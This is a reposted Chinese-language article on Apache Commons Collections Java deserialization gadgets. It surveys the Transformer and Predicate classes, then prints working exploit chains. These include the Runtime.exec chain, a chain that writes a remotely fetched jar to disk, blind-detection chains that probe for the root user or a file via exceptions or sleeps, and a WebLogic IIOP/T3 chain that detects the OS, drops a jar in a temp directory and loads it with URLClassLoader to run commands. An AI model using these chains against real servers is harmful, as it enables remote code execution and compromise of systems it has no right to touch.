您当前的位置:首页 > 电脑百科 > 站长技术 > 服务器

Apache CommonCollection Gadget 几种特殊的玩法

时间:2020-06-12 12:17:37  来源:  作者:

1 简介

众所周知,CommonCollection Gadget主要是由ConstantTransformer,InvokerTransformer,ChainedTransformer构成。gadget主要通过Transformer接口 的transform方法,对输入的对象做变换。ConstantTransformer不会做任何变换,只会返回类在实例化时传入的对象,InvokerTransformer会对类在实例化时传入的参数,通过反射去调用,ChainedTransformer将所有的Transformer连接起来,上一个Transformer的transform方法的结果,作为下一个Transformer的transform方法的参数。这样就完成JAVA反序列化的gadget。下面为调用Runtime执行calc的CommonCollection的chain

        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                    String.class, Class[].class }, new Object[] {
                    "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
                new InvokerTransformer("exec",
                    new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };

上面的chain等效与下面的代码

Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object
Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object

从上面的代码中我们可以暂时得出以下结论

  1. 只有链式调用的方法才可以被改写成CommonCollection执行链
  2. gadget中,不能有变量声明语句
  3. 没有while等语句
  4. 一切操作靠反射

2 CommonCollection其他Transform的简介


org.Apache.commons.collections.functors中,所有的类都可以被简单的分为三类,分别继承自Transformer接口, Predicate接口,Closure接口。这三个接口主要有以下区别

  1. Transformer接口接收一个对象,返回对象的执行结果
  2. Closure接口接收一个对象,不返回对象的执行结果
  3. Predicate接口,类似条件语句,会根据执行结果,返回true或者false。这个将主要用在SwitchTransformer类中

对于我们来说,Closure接口没有太多用,下面主要介绍一下继承自Transformer接口的类与继承自Predicate接口的类

继承自Transformer接口的类

ChainedTransformer

将实例化后的Transformer的类的数组,按顺序一个一个执行,前面的transform结果作为下一个transform的输出。

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

CloneTransformer

调用并返回输入对象clone方法的结果

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        return PrototypeFactory.getInstance(input).create();
    }

ClosureTransformer

将Closure接口的类转换为Transformer

    public Object transform(Object input) {
        iClosure.execute(input);
        return input;
    }

ConstantTransformer

调用transform方法,只返回类在实例化时存储的类

public Object transform(Object input) {    return iConstant;}

ExceptionTransformer

抛出一个异常,FunctorException

public Object transform(Object input) {    throw new FunctorException("ExceptionTransformer invoked");}

FactoryTransformer

调用相应的工厂类并返回结果

public Object transform(Object input) {    return iFactory.create();}

InstantiateTransformer

根据给定的参数,在调用transform方法的时候实例化一个类

    public Object transform(Object input) {
        try {
            if (input instanceof Class == false) {
                throw new FunctorException(
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                        + (input == null ? "null object" : input.getClass().getName()));
            }
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
        } catch (InstantiationException ex) {
            throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
        }
    }

InvokerTransformer

调用transform方法的时候,根据类在实例化时提供的参数,通过反射去调用输入对象的方法

MapTransformer

在调用transform方法时,将输入函数作为key,返回类在实例化时参数map的value

public Object transform(Object input) {    return iMap.get(input);}

NOPTransformer

啥也不干的Transformer

public Object transform(Object input) {    return input;}

SwitchTransformer

类似if语句,在如果条件为真,则执行第一个Transformer,如果条件为假,则执行第二个Transformer

    public Object transform(Object input) {
        for (int i = 0; i < iPredicates.length; i++) {
            if (iPredicates[i].evaluate(input) == true) {
                return iTransformers[i].transform(input);
            }
        }
        return iDefault.transform(input);
    }

PredicateTransformer

将Predicate包装为Transformer

public Object transform(Object input) {    return (iPredicate.evaluate(input) ? Boolean.TRUE : Boolean.FALSE);}

StringValueTransformer

调用String.valueOf,并返回结果

public Object transform(Object input) {
        return String.valueOf(input);
    }

继承自Predicate接口的类

AllPredicate

在执行多个Predicate,是否都返回true。

    public boolean evaluate(Object object) {
        for (int i = 0; i < iPredicates.length; i++) {
            if (iPredicates[i].evaluate(object) == false) {
                return false;
            }
        }
        return true;
    }

AndPredicate

两个Predicate是否都返回true

public boolean evaluate(Object object) {
       return (iPredicate1.evaluate(object) && iPredicate2.evaluate(object));
    }

AnyPredicate

与AllPredicate相反,只要有任意一个Predicate返回true,则返回true

    public boolean evaluate(Object object) {
        for (int i = 0; i < iPredicates.length; i++) {
            if (iPredicates[i].evaluate(object)) {
                return true;
            }
        }
        return false;
    }

EqualPredicate

输入的对象是否与类在实例化时提供的对象是否一致

public boolean evaluate(Object object) {    return (iValue.equals(object));}

ExceptionPredicate

在执行evaluate时抛出一个异常

FalsePredicate

永远返回False

IdentityPredicate

evaluate方法中输入的对象是否与类实例化时提供的类是否一样

public boolean evaluate(Object object) {    return (iValue == object);}

InstanceofPredicate

输入的对象是否与类实例化时提供的类的类型是否一致

public boolean evaluate(Object object) {    return (iType.isInstance(object));}

NotPredicate

对evaluate的结果取反操作

public boolean evaluate(Object object) {    return !(iPredicate.evaluate(object));}

NullIsExceptionPredicate

如果输入的对象为null,则抛出一个异常

NullIsFalsePredicate

如果输入的对象为null,则返回false

NullIsTruePredicate

如果输入的对象为null,则返回true

NullPredicate

输入的对象是否为null

OrPredicate

类似与条件语句中的或

public boolean evaluate(Object object) {   return (iPredicate1.evaluate(object) || iPredicate2.evaluate(object));}

TransformerPredicate

将一个Transformer包装为Predicate

0x03 使用方法

CommonCollection写入文件

这种方法通过InvokerTransformr调用构造函数,然后再写入文件。当然,这里我们可以使用InstantiateTransformer去实例化FileOutputStream类去写入文件,代码如下

                new ChainedTransformer(new Transformer[]{
                        new ConstantTransformer(FileOutputStream.class),
                        new InstantiateTransformer(
                                new Class[]{
                                        String.class, Boolean.TYPE
                                },
                                new Object[]{
                                        "filePath, false
                                }),
                        new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{getRemoteJarBytes()})
                }),

Gadget版盲注

思想类似于Sql的盲注。我们可以通过如下语句检测java进程是否是root用户

if (System.getProperty("user.name").equals("root")){
    throw new Exception();
}

我们可以通过如下cc链,执行该语句

        TransformerUtils.switchTransformer(
                PredicateUtils.asPredicate(
                        new ChainedTransformer(new Transformer[]{
                                new ConstantTransformer(System.class),
                                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getProperty", new Class[]{String.class}}),
                                new InvokerTransformer("invoke",
                                        new Class[]{Object.class, Object[].class},
                                        new Object[]{null, new Object[]{"user.name"}}),
                                new InvokerTransformer("toString",
                                        new Class[]{},
                                        new Object[0]),
                                new InvokerTransformer("toLowerCase",
                                        new Class[]{},
                                        new Object[0]),
                                new InvokerTransformer("contains",
                                        new Class[]{CharSequence.class},
                                        new Object[]{"root"}),
                        })),
                new TransformerUtils.exceptionTransformer(),
                new TransformerUtils.nopTransformer());

是否存在某些文件

if (File.class.getConstructor(String.class).newInstance("/etc/passed").exists()){
    Thread.sleep(7000);
}

改写成cc链

TransformerUtils.switchTransformer(
    PredicateUtils.asPredicate(
        new ChainedTransformer( new Transformer[] {
            new ConstantTransformer(File.class),
            new InstantiateTransformer(
                    new Class[]{
                            String.class
                    },
                    new Object[]{
                            path
                    }),
            new InvokerTransformer("exists", null, null)
        })
    ),

    new ChainedTransformer( new Transformer[] {
        new ConstantTransformer(Thread.class),
        new InvokerTransformer("getMethod",
                new Class[]{
                        String.class, Class[].class
                },
                new Object[]{
                        "sleep", new Class[]{Long.TYPE}
                }),
        new InvokerTransformer("invoke",
                new Class[]{
                        Object.class, Object[].class
                }, new Object[]
                {
                        null, new Object[] {7000L}
                })
    }),

    TransformerUtils.nopTransformer();)

weblogic iiop/T3回显

主要问题有 目前只能用URLClassloader,但是需要确定上传到weblogic服务器的位置。而这里我们知道,windowslinux的临时目录以及file协议访问上传文件的绝对路径肯定不一样。如果只用invokerTransform的话,最简单的执行回显的方案如下

sequenceDiagram
攻击者->>weblogic: 上传至Linux的临时目录/tmp/xxx.jar
攻击者->>weblogic: 调用urlclassloader加载,安装实例
攻击者->>weblogic:通过lookup查找实例,检测是否安装成功
weblogic->>攻击者: 安装成功,结束
weblogic->>攻击者: 安装失败,抛出异常
攻击者->>weblogic: 上传至windows的临时目录 C:\Windows\Temp\xxx.jar
攻击者->>weblogic: 调用urlclassloader加载,安装实例
攻击者->>weblogic:通过lookup查找实例,检测是否安装成功
weblogic->>攻击者: 安装成功 结束
weblogic->>攻击者: 安装失败

攻击一次weblogic服务器,最多可能需要发送6次反序列化包,才能成功的给weblogic服务器安装实例。这显然不符合我们精简代码的思想。下面我们用正常思维的方式去执行一下攻击过程

if (os == 'win'){
    fileOutput(winTemp)
    }
else{
    fileOutput(LinuxTemp)
    }
if (os == 'win'){
    urlclassloader.load(winTemp)
    }
else{
    urlclassloader.load(LinuxTemp)
    }

这里我们可以使用SwitchTransformer + Predicate + ChainedTransformer 组合去完成。

  1. SwitchTransformer类似于if语句
  2. Predicate类似于条件语句
  3. ChainedTransformer 将所有的语句串起来执行

SwitchTransformer类需要一个Predicate,而这里TransformerPredicate可以将一个Transformer转换为一个Predicate。所以我们需要一个可以判断操作系统的chain。然后将判断操作系统的chain作为Predicate,调用switchTransformer,根据结果,将可执行ja包写入win或者linux的临时目录。然后再调用第二个switchTransformer,根据操作系统的类型,调用URLclassloader分别加载相应上传位置的jar包,通过chainedTransformer将两个SwitchTransformer将两个SwitchTransform连接起来。代码如下

        Transformer t = TransformerUtils.switchTransformer(
                PredicateUtils.asPredicate(
                        getSysTypeTransformer()
                ),
                new ChainedTransformer(new Transformer[]{
                        new ConstantTransformer(FileOutputStream.class),
                        new InstantiateTransformer(
                                new Class[]{
                                        String.class, Boolean.TYPE
                                },
                                new Object[]{
                                        "C:\Windows\Temp\xxx.jar", false
                                }),
                        new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{getRemoteJarBytes()})
                }),
                TransformerUtils.nopTransformer());

        Transformer t1 = TransformerUtils.switchTransformer(
                PredicateUtils.asPredicate(
                        getSysTypeTransformer()
                ),
                new ChainedTransformer(new Transformer[]{
                        new ConstantTransformer(URLClassLoader.class),
                        new InstantiateTransformer(
                                new Class[]{
                                        URL[].class
                                },
                                new Object[]{
                                        new URL[]{new URL("file:/C:\Windows\Temp\xxx.jar")}
                                }),
                        new InvokerTransformer("loadClass",
                                new Class[]{String.class}, new Object[]{className}),
                        new InvokerTransformer("getMethod",
                                new Class[]{String.class, Class[].class}, new Object[]{"test", new Class[]{String.class}}),
                        new InvokerTransformer("invoke",
                                new Class[]{Object.class, Object[].class}, new Object[]{null, new String[]{op}})}),
                TransformerUtils.nopTransformer()); // 这块自行改成linux的吧

        Transformer list = new ChainedTransformer(new Transformer[]{
                t,
                t1
        });

    private static ChainedTransformer getSysTypeTransformer() {
        return new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(System.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getProperty", new Class[]{String.class}}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[]{"os.name"}}),
                new InvokerTransformer("toString",
                        new Class[]{},
                        new Object[0]),
                new InvokerTransformer("toLowerCase",
                        new Class[]{},
                        new Object[0]),
                new InvokerTransformer("contains",
                        new Class[]{CharSequence.class},
                        new Object[]{"win"}),
        });
    }

参考:

  1. https://commons.apache.org/proper/commons-collections/apidocs/org/apache/commons/collections4/functors/SwitchTransformer.html
  2. https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html#WhileClosure


Tags:Apache   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
序言:习惯了用集成软件来安装php的运行环境,单独配置php、apache成为了部分程序员不愿意面对的问题,下面和我一块来复习一下,赶紧点赞收藏吧。 php官方下载地址https://windows....【详细内容】
2021-11-23  Tags: Apache  点击:(24)  评论:(0)  加入收藏
四 请求头和响应头还记得我们前面提到的上网流程吧?1 DNS解析,获取A记录,找到网站对应的IP地址2 三次握手三次握手之前服务器处在listen状态 建立完三次握手之后服务器处于esta...【详细内容】
2021-09-13  Tags: Apache  点击:(50)  评论:(0)  加入收藏
1. Apache HTTP Server地址: http://httpd.apache.org/download.cgi#apache242. APR 和 APR-Util地址: http://apr.apache.org/download.cgi3. PCRE地址: https://sourceforge....【详细内容】
2021-04-12  Tags: Apache  点击:(196)  评论:(0)  加入收藏
四个大型数据和数据湖的大型Apache系统,Apache Shardingsphere,Apache冰山,Apache Hudi和Apache IotdB 管理大数据所需的许多功能是其中一些是事务,数据突变,数据校正,流媒体支持,...【详细内容】
2021-03-09  Tags: Apache  点击:(242)  评论:(0)  加入收藏
Knoldus Inc.3分钟阅读嘿那里,作为一个技术人员有时我们必须编写数据库的查询,看起来不错,但我们不知道我们写的查询是句法正确的。所以在这个博客中,我们在Apache Calcite的帮...【详细内容】
2021-02-24  Tags: Apache  点击:(409)  评论:(0)  加入收藏
目前广为人知的Druid有两个,一个是阿里巴巴开源的Durid数据库连接池,一个是MetaMarkets开源的分布式、实时多维OLAP分析的数据处理系统。这篇文章将介绍后者,即Apache Druid。...【详细内容】
2021-01-12  Tags: Apache  点击:(280)  评论:(0)  加入收藏
正确的集成框架是绑定应用程序架构构建块的粘合剂。应用程序组件必须不断交换关键数据,以方便用户操作、服务扩展、威胁监视、后端操作、事件触发等。如果没有可靠的集成过...【详细内容】
2020-12-18  Tags: Apache  点击:(166)  评论:(0)  加入收藏
一、Apache Doris概览Apache Doris是一个现代化的MPP分析型数据库(OLAP)产品。仅需亚秒级响应时间即可获得查询结果,有效地支持实时数据分析。Apache Doris的分布式架构非常简...【详细内容】
2020-12-03  Tags: Apache  点击:(373)  评论:(0)  加入收藏
Kylin术语Data Warehouse(数据仓库)数据仓库是一个各种数据(包括历史数据和当前数据)的中心存储系统,是BI( business intelligence ,商业智能)的核心部件。这里所谈的数据包括来自企...【详细内容】
2020-11-12  Tags: Apache  点击:(96)  评论:(0)  加入收藏
本文将从云原生时代的机遇和挑战说起,介绍一个全新的开源高性能云原生 API 网关&mdash;&mdash;Apache APISIX,探讨如何解决云原生时代 API 网关所面临的一些痛点,最后介绍该开...【详细内容】
2020-10-13  Tags: Apache  点击:(164)  评论:(0)  加入收藏
▌简易百科推荐
阿里云镜像源地址及安装网站地址https://developer.aliyun.com/mirror/centos?spm=a2c6h.13651102.0.0.3e221b111kK44P更新源之前把之前的国外的镜像先备份一下 切换到yumcd...【详细内容】
2021-12-27  干程序那些事    Tags:CentOS7镜像   点击:(1)  评论:(0)  加入收藏
前言在实现TCP长连接功能中,客户端断线重连是一个很常见的问题,当我们使用netty实现断线重连时,是否考虑过如下几个问题: 如何监听到客户端和服务端连接断开 ? 如何实现断线后重...【详细内容】
2021-12-24  程序猿阿嘴  CSDN  Tags:Netty   点击:(12)  评论:(0)  加入收藏
一. 配置yum源在目录 /etc/yum.repos.d/ 下新建文件 google-chrome.repovim /etc/yum.repos.d/google-chrome.repo按i进入编辑模式写入如下内容:[google-chrome]name=googl...【详细内容】
2021-12-23  有云转晴    Tags:chrome   点击:(7)  评论:(0)  加入收藏
一. HTTP gzip压缩,概述 request header中声明Accept-Encoding : gzip,告知服务器客户端接受gzip的数据 response body,同时加入以下header:Content-Encoding: gzip:表明bo...【详细内容】
2021-12-22  java乐园    Tags:gzip压缩   点击:(9)  评论:(0)  加入收藏
yum -y install gcc automake autoconf libtool makeadduser testpasswd testmkdir /tmp/exploitln -s /usr/bin/ping /tmp/exploit/targetexec 3< /tmp/exploit/targetls -...【详细内容】
2021-12-22  SofM    Tags:Centos7   点击:(7)  评论:(0)  加入收藏
Windows操作系统和Linux操作系统有何区别?Windows操作系统:需支付版权费用,(华为云已购买正版版权,在华为云购买云服务器的用户安装系统时无需额外付费),界面化的操作系统对用户使...【详细内容】
2021-12-21  卷毛琴姨    Tags:云服务器   点击:(6)  评论:(0)  加入收藏
参考资料:Hive3.1.2安装指南_厦大数据库实验室博客Hive学习(一) 安装 环境:CentOS 7 + Hadoop3.2 + Hive3.1 - 一个人、一座城 - 博客园1.安装hive1.1下载地址hive镜像路径 ht...【详细内容】
2021-12-20  zebra-08    Tags:Hive   点击:(9)  评论:(0)  加入收藏
以下是服务器安全加固的步骤,本文以腾讯云的CentOS7.7版本为例来介绍,如果你使用的是秘钥登录服务器1-5步骤可以跳过。1、设置复杂密码服务器设置大写、小写、特殊字符、数字...【详细内容】
2021-12-20  网安人    Tags:服务器   点击:(7)  评论:(0)  加入收藏
项目中,遇到了一个问题,就是PDF等文档不能够在线预览,预览时会报错。错误描述浏览器的console中,显示如下错误:nginx代理服务报Mixed Content: The page at ******** was loaded...【详细内容】
2021-12-17  mdong    Tags:Nginx   点击:(7)  评论:(0)  加入收藏
转自: https://kermsite.com/p/wt-ssh/由于格式问题,部分链接、表格可能会失效,若失效请访问原文密码登录 以及 通过密钥实现免密码登录Dec 15, 2021阅读时长: 6 分钟简介Windo...【详细内容】
2021-12-17  LaLiLi    Tags:SSH连接   点击:(16)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条